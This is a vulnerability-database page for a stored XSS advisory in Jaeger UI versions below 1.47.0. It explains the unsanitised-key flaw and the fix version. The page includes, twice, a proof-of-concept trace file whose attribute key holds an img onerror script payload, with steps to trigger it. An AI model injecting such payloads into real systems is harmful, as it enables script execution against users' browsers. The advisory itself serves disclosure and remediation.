GHSA-2w8w-qhg4-f78jMedium· 6.5▾ Sunlit

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

▾ Sunlit zone — Low / medium · no exploitation signal

Depth score36/ 100 · Low

impact 35.8 · likelihood 0 · exploitation 0

⚡ Agent-ready:Raw markdown ↗JSON ↗

Proof of concept

Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.

…

Published

Jul 11, 2023

Updated

Sep 10, 2026

CVSS

6.5

Vendor

jaegertracing

Product

github.com/jaegertracing/jaeger

CWE

—

Depth score

36 · Low

EPSS

—

Platforms

—

Source

OSV

Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Timeline

Disclosure to exploitation, from the record and what we observed since indexing it.

2 events · 1157 days

Jul 11, 2023Published
Disclosed via OSV
Sep 10, 2026Record revised
Last analysed / modified upstream

jaegertracing #osv #go

Affected

github.com/jaegertracing/jaeger < 1.47.0

Patched in

github.com/jaegertracing/jaeger 1.47.0

Full technical detail▾

Overview

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49

PoC

Start a Jaeger UI
Save the following trace as a file:

{
    "data": [
        {
            "traceID": "076ef819cc06c45a",
            "spans": [
                {
                    "traceID": "076ef819cc06c45a",
                    "spanID": "076ef819cc06c45a",
                    "flags": 1,
                    "operationName": "and open 'attributes'",
                    "references": [],
                    "startTime": 1678196149232010,
                    "duration": 13485,
                    "tags": [
                        {
                            "key": "sampler.type",
                            "type": "string",
                            "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
                        }
                    ],
                    "logs": [],
                    "processID": "p1",
                    "warnings": null
                }
            ],
            "processes": {
                "p1": {
                    "serviceName": "click here",
                    "tags": [
                    ]
                }
            },
            "warnings": null
        }
    ],
    "total": 0,
    "limit": 0,
    "offset": 0,
    "errors": null
}

Upload that trace to Jaeger UI in order to visualise it.
Open the trace, open it's span's attributes.
XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.

Affected packages

github.com/jaegertracing/jaeger < 1.47.0

Remediation

Upgrade to a patched release:

github.com/jaegertracing/jaeger 1.47.0

References

#osv#go

Overview

Summary

Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.

Details

PoC

Start a Jaeger UI

Save the following trace as a file:

{ "data": [ { "traceID": "076ef819cc06c45a", "spans": [ { "traceID": "076ef819cc06c45a", "spanID": "076ef819cc06c45a", "flags": 1, "operationName": "and open 'attributes'", "references": [], "startTime": 1678196149232010, "duration": 13485, "tags": [ { "key": "sampler.type", "type": "string", "value": "{\"<img src=x onerror=alert(1)>\":\"test\"}" } ], "logs": [], "processID": "p1", "warnings": null } ], "processes": { "p1": { "serviceName": "click here", "tags": [ ] } }, "warnings": null } ], "total": 0, "limit": 0, "offset": 0, "errors": null }

Upload that trace to Jaeger UI in order to visualise it.

Open the trace, open it's span's attributes.

XSS should be fired.

Impact

This is a XSS on Jaeger UI. XSS can be used to run JavaScript.